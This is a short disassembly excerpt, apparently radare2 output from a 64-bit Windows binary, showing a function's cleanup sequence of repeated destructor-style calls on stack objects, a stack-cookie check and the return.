lea rcx, [rsp + 0x1c70]
call fcn.1400527dc
lea rcx, [rsp + 0x19b0]
call fcn.140004e6c
lea rcx, [rsp + 0x1ab0]
call fcn.140004e6c
lea rcx, [rsp + 0x19d0]
call fcn.140004e6c
lea rcx, [rsp + 0x1970]
call fcn.140004e6c
lea rcx, [rsp + 0xfb0]
call fcn.140028f74
lea rcx, [rsp + 0xfc0]
call fcn.140028f74
lea rcx, [rsp + 0xf90]
call fcn.140028f74
lea rcx, [rsp + 0xfd0]
call fcn.140028f74
lea rcx, [rsp + 0xfe0]
call fcn.140028f74
lea rcx, [rsp + 0xff0]
call fcn.140028f74
lea rcx, [rsp + 0x1000]
call fcn.140028f74
nop
lea rcx, [rsp + 0x1020]
call fcn.140028f74
nop
lea rcx, [rsp + 0x1030]
call fcn.140028f74
jmp 0x14005278f
xor eax, eax
mov rcx, qword [rsp + 0x2fb0]
xor rcx, rsp
call fcn.140083400
add rsp, 0x2fc0
pop rdi
ret